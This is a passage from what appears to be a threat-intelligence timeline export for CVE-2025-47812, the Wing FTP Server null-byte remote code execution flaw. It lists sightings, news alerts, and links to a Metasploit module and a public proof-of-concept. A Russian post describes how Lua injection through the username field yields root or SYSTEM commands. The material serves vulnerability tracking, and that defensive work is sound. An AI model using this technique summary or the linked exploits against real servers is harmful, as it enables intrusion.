\"author\": \"stopthecap\",\n  \"Detection Date\": \"07 Jul 2025\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "url": "https://t.me/breachdetector/804297"}, {"timestamp": "2025-07-07T11:20:21Z", "date_only": false, "value": "2025-07-07T11:20:21.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wingftp_null_byte_rce.rb", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "cc6d217a-c800-4682-96c0-bdbc09e4c036", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wingftp_null_byte_rce.rb"}, {"timestamp": "2025-07-07T13:37:03Z", "date_only": false, "value": "2025-07-07T13:37:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/43295", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "1dfdf047-4c3f-4cb2-bef8-8c49c04d6139", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aExploit for CVE-2025-47812 with custom psudo shell and robust error handling.\nURL\uff1ahttps://github.com/pevinkumar10/CVE-2025-47812\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/43295"}, {"timestamp": "2025-07-07T21:00:04Z", "date_only": false, "value": "2025-07-07T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/17sx7vfyYyw5cNVTNyrGtWFmcDoHLeuKbaDi91L36vhy8Ec", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a8a92673-877f-4876-aae7-499cc2df6de0"}, {"timestamp": "2025-07-07T21:02:24.195Z", "date_only": false, "value": "2025-07-07T21:02:24.195985Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltfoohpmnc2h", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "c0adbb7a-3b55-4717-a60a-7125f667ba74", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltfoohpmnc2h"}, {"timestamp": "2025-07-08T04:13:14.587Z", "date_only": false, "value": "2025-07-08T04:13:14.587569Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3ltggqx3uxo2n", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7db6e6e8-33a4-4d5b-a84c-6ad2ca5ca088", "url": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3ltggqx3uxo2n"}, {"timestamp": "2025-07-08T21:07:21.732Z", "date_only": false, "value": "2025-07-08T21:07:21.732206Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lti7gcijok2a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "0a1405ce-2a24-4180-af24-df7c8cc8cf7a", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lti7gcijok2a"}, {"timestamp": "2025-07-10T00:00:00Z", "date_only": false, "value": "2025-07-10T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2025-47812", "field": "cveMetadata.datePublished"}, {"timestamp": "2025-07-10T16:42:27.333Z", "date_only": false, "value": "2025-07-10T16:42:27.333940Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cR0w/statuses/114829934372463030", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d6934a47-df1e-47eb-94b9-74db568e58f6", "url": "https://infosec.exchange/users/cR0w/statuses/114829934372463030"}, {"timestamp": "2025-07-10T16:53:40.407Z", "date_only": false, "value": "2025-07-10T16:53:40.407211Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cR0w/statuses/114829978474037045", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "85bb6565-3b9f-473a-9a01-c2095ec69751", "url": "https://infosec.exchange/users/cR0w/statuses/114829978474037045"}, {"timestamp": "2025-07-10T17:15:47Z", "date_only": false, "value": "2025-07-10T17:15:47Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-J4XF-75RR-VVRV", "record": "GHSA-J4XF-75RR-VVRV", "field": "database_specific.nvd_published_at"}, {"timestamp": "2025-07-10T17:15:47.210Z", "date_only": false, "value": "2025-07-10T17:15:47.210", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-47812", "record": "FKIE_CVE-2025-47812", "field": "published"}, {"timestamp": "2025-07-10T18:31:27Z", "date_only": false, "value": "2025-07-10T18:31:27Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-J4XF-75RR-VVRV", "record": "GHSA-J4XF-75RR-VVRV", "field": "published"}, {"timestamp": "2025-07-10T18:55:46.262Z", "date_only": false, "value": "2025-07-10T18:55:46.262443Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/campuscodi.risky.biz/post/3ltmyyt5v7k2f", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7fe6a2ef-6e96-48dc-a905-dd556cf6581a", "url": "https://bsky.app/profile/campuscodi.risky.biz/post/3ltmyyt5v7k2f"}, {"timestamp": "2025-07-11T02:25:08.870Z", "date_only": false, "value": "2025-07-11T02:25:08.870036Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ltns4gc56a2v", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "db69b701-7b20-4cda-b4dd-342707599807", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3ltns4gc56a2v"}, {"timestamp": "2025-07-11T08:46:07.605Z", "date_only": false, "value": "2025-07-11T08:46:07.605801Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/virusbtn.bsky.social/post/3ltohfibww22a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d5e988c7-b55c-4cb1-8cf8-de10f2b81ee7", "url": "https://bsky.app/profile/virusbtn.bsky.social/post/3ltohfibww22a"}, {"timestamp": "2025-07-11T08:58:00Z", "date_only": false, "value": "2025-07-11T08:58:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2025/07/critical-wing-ftp-server-vulnerability.html", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8f51a380-468d-42ca-a098-3ac5ed52f7b5", "url": "https://thehackernews.com/2025/07/critical-wing-ftp-server-vulnerability.html"}, {"timestamp": "2025-07-11T09:35:37.980Z", "date_only": false, "value": "2025-07-11T09:35:37.980788Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ltok66j43g2a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "2d34469f-3712-4db1-aa96-ae98213eb50c", "url": "https://bsky.app/profile/nimblenerd.social/post/3ltok66j43g2a"}, {"timestamp": "2025-07-11T09:49:29.015Z", "date_only": false, "value": "2025-07-11T09:49:29.015166Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ltokptp5z2b2", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a29547c5-1b5e-49fb-9567-4b9b4d8ea284", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ltokptp5z2b2"}, {"timestamp": "2025-07-11T10:38:56Z", "date_only": false, "value": "2025-07-11T10:38:56.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/information_security_channel/53827", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3806b72a-b79d-48dc-aea5-b427aa67c963", "content": "Critical Wing FTP Server Vulnerability Exploited\nhttps://www.securityweek.com/critical-wing-ftp-server-vulnerability-exploited/\n\nWing FTP Server vulnerability CVE-2025-47812 can be exploited for arbitrary command execution with root or system privileges.\nThe post Critical Wing FTP Server Vulnerability Exploited (https://www.securityweek.com/critical-wing-ftp-server-vulnerability-exploited/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/53827"}, {"timestamp": "2025-07-11T11:05:36Z", "date_only": false, "value": "2025-07-11T11:05:36.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/DarkWebInformer_News/6246", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e8a2c40c-555c-4140-83f3-f3d74b704f48", "content": "\ud83d\udea8 News Alert!\n\nSource: The Hacker News\nTitle: Critical Wing FTP Server Vulnerability (CVE-2025-47812) Actively Being Exploited in the Wild\nLink: https://thehackernews.com/2025/07/critical-wing-ftp-server-vulnerability.html", "url": "https://t.me/DarkWebInformer_News/6246"}, {"timestamp": "2025-07-11T11:15:09Z", "date_only": false, "value": "2025-07-11T11:15:09.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cibsecurity/85757", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "417805b0-71df-4d61-b2b9-4f648389c899", "content": "\ud83d\udd8b\ufe0f Critical Wing FTP Server Vulnerability (CVE-2025-47812) Actively Being Exploited in the Wild \ud83d\udd8b\ufe0f\n\nA recently disclosed maximumseverity security flaw impacting the Wing FTP Server has come under active exploitation in the wild, according to Huntress. The vulnerability, tracked as CVE202547812 CVSS score 10.0, is a case of improper handling of null '0' bytes in the server's web interface, which allows for remote code execution. It has been addressed in version 7.4.4. \"The user and.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "url": "https://t.me/cibsecurity/85757"}, {"timestamp": "2025-07-11T11:21:53.187Z", "date_only": false, "value": "2025-07-11T11:21:53.187390Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ltoq46bdlj2z", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "738269bd-e1f1-4357-ac0b-6d4a7cc462e2", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ltoq46bdlj2z"}, {"timestamp": "2025-07-11T11:23:15Z", "date_only": false, "value": "2025-07-11T11:23:15.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/7141", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a88668b0-9095-405a-9ba8-8ef5d43641f4", "content": "\ud83d\udea8 A critical bug in Wing FTP Server (CVE-2025-47812) is under active attack\u2014RCE via null byte injection.\n\nHackers are exploiting it using anonymous FTP access to drop malware & run commands as root.\n\nOver 5,000 servers still exposed. Patch now.\n\nDetails here \u2192 https://thehackernews.com/2025/07/critical-wing-ftp-server-vulnerability.html", "url": "https://t.me/thehackernews/7141"}, {"timestamp": "2025-07-11T11:23:43.253Z", "date_only": false, "value": "2025-07-11T11:23:43.253823Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3ltoq7h7w3y2f", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4e3fb18c-57e7-4d1c-8e4c-8d4ae6e312a4", "url": "https://bsky.app/profile/undercodenews.bsky.social/post/3ltoq7h7w3y2f"}, {"timestamp": "2025-07-11T11:32:47Z", "date_only": false, "value": "2025-07-11T11:32:47.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/7219", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "f94dc4a3-c860-41f1-bd2a-953b5d07abbc", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Huntress \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442\u00a0\u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 FTP-\u0441\u0435\u0440\u0432\u0435\u0440 Wing.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2025-47812 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10,0.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0431\u0430\u0439\u0442\u043e\u0432 ('\\0') \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 RCE. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 7.4.4.\n\n\u0412\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0431\u0430\u0439\u0442\u044b '\\0', \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 Lua \u0432 \u0444\u0430\u0439\u043b\u044b \u0441\u0435\u0430\u043d\u0441\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 FTP-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e root \u0438\u043b\u0438 SYSTEM).\n\n\u0415\u0449\u0451 \u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u0432\u043e\u0436\u043d\u044b\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0435 FTP-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043d\u044f 2025 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c RCE Security \u0414\u0436\u0443\u043b\u0438\u0435\u043d\u0443 \u0410\u0440\u0435\u043d\u0441\u0443.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Huntress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 Lua, \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 CVE-2025-47812 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0431\u0430\u0439\u0442\u043e\u0432 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (\u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0432 loginok.html, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u043c \u0437\u0430  \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e), \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c Lua-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0431\u0430\u0439\u0442\u0430 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0431\u0430\u0439\u0442\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0432\u0432\u043e\u0434 \u0432 \u0444\u0430\u0439\u043b\u0435 Lua, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u044d\u0442\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a\u0438 \u0441\u0435\u0430\u043d\u0441\u0430.\n\n\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u0438 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 1 \u0438\u044e\u043b\u044f 2025 \u0433\u043e\u0434\u0430, \u0432\u0441\u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u043d\u044c \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0435.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438, \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u043d\u043e\u0432\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u044b Lua \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 ScreenConnect.\n\n\u0410\u0442\u0430\u043a\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u0441\u043a\u0440\u044b\u0442\u044c \u0438 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c, \u0438\u0437\u0431\u0435\u0436\u0430\u0432 \u0435\u0451 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f.\n\n\u041a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u044d\u0442\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043a\u0430 \u043d\u0435\u044f\u0441\u043d\u043e.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Censys, \u0432 \u0441\u0435\u0442\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e\u0447\u0442\u0438 8103 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 Wing FTP Server, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5004 \u0438\u043c\u0435\u044e\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u00a0\u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0421\u0428\u0410, \u041a\u0438\u0442\u0430\u0435, \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u0418\u043d\u0434\u0438\u0438.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 FTP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b Wing \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.4 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439.", "url": "https://t.me/true_secator/7219"}, {"timestamp": "2025-07-11T11:35:07.835Z", "date_only": false, "value": "2025-07-11T11:35:07.835055Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3ltoqtuvbyu2e", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a0c12425-1285-4729-9e51-3526e720ec19", "url": "https://bsky.app/profile/cti-news.bsky.social/post/3ltoqtuvbyu2e"}, {"timestamp": "2025-07-11T11:47:47.590Z", "date_only": false, "value": "2025-07-11T11:47:47.590776Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/montxt.bsky.social/post/3ltorkjddzg2c", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "5a34ef88-b128-45ec-b5f1-83751dfd7c48", "url": "https://bsky.app/profile/montxt.bsky.social/post/3ltorkjddzg2c"}, {"timestamp": "2025-07-11T12:00:31.884Z", "date_only": false, "value": "2025-07-11T12:00:31.884161Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ltosa23ufwc2", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "f67a2960-dc23-4776-ab25-770d0475dca8", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ltosa23ufwc2"}, {"timestamp": "2025-07-11T12:04:13Z", "date_only": false, "value": "2025-07-11T12:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/14561", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "c5308ef3-3bfc-449a-b8aa-f032e0224fee", "content": "Critical Wing FTP Server Vulnerability (CVE-2025-47812) Actively Being Exploited in the Wild \u2013 thehackernews.com\n\nFri, 11 Jul 2025 18:58:00", "url": "https://t.me/MalaysiaHacktivistz/14561"}, {"timestamp": "2025-07-11T12:04:13Z", "date_only": false, "value": "2025-07-11T12:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/5519", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "13c29884-5acc-4f93-b62f-1a50b92a90aa", "content": "Critical Wing FTP Server Vulnerability (CVE-2025-47812) Actively Being Exploited in the Wild \u2013 thehackernews.com\n\nFri, 11 Jul 2025 